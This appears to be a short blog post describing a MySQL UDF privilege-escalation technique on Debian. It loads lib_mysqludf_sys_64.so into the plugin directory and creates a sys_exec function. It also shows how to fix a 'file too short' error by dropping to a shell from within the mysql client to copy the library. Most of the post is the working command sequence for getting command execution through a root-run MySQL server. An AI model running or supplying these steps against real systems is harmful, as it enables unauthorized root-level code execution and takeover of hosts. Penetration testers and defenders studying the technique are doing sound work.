cybersecurity November 10, 2021 0

MySQL Error “file too short” when creating sys_exec function

I recently encountered an intriguing error message, “file too short” when attempting to elevate privileges on a Linux system through the MySQL Library (lib_mysqludf_sys_64.so).

mysql> create table foo(line blob);
mysql> insert into foo values(load_file('/tmp/lib_mysqludf_sys_64.so'));

mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/lib_mysqludf_sys_64.so';

mysql> create function sys_exec returns integer soname 'lib_mysqludf_sys_64.so';

ERROR 1126 (HY000): Can't open shared library 'lib_mysqludf_sys_64.so' (errno: 11 /usr/lib/mysql/plugin/lib_mysqludf_sys_64.so: file too short)

Turned out that “SELECT … INTO DUMPFILE” clause did not write a library properly into plugins’ directory in “/usr/lib/mysql/plugin/” (the file size is 1)

ls -la /usr/lib/mysql/plugin/lib_mysqludf_sys_64.so
-rw-rw-rw- 1 root mysql 1 Nov 10 13:08 /usr/lib/mysql/plugin/lib_mysqludf_sys_64.so

Solution:

Since MySQL is running as root, we can try to copy the file manually by breaking in into a shell

mysql> \! cp lib_mysqludf_sys_64.so /usr/lib/mysql/plugin/

mysql> create function sys_exec returns integer soname 'lib_mysqludf_sys_64.so';
Query OK, 0 rows affected (0.00 sec)

Some more details about the environment

- Database version MySQL 5.7.30 
- mysql process is running as root
- OS: Debian 9.12 (stretch) x86_64

Cheers!!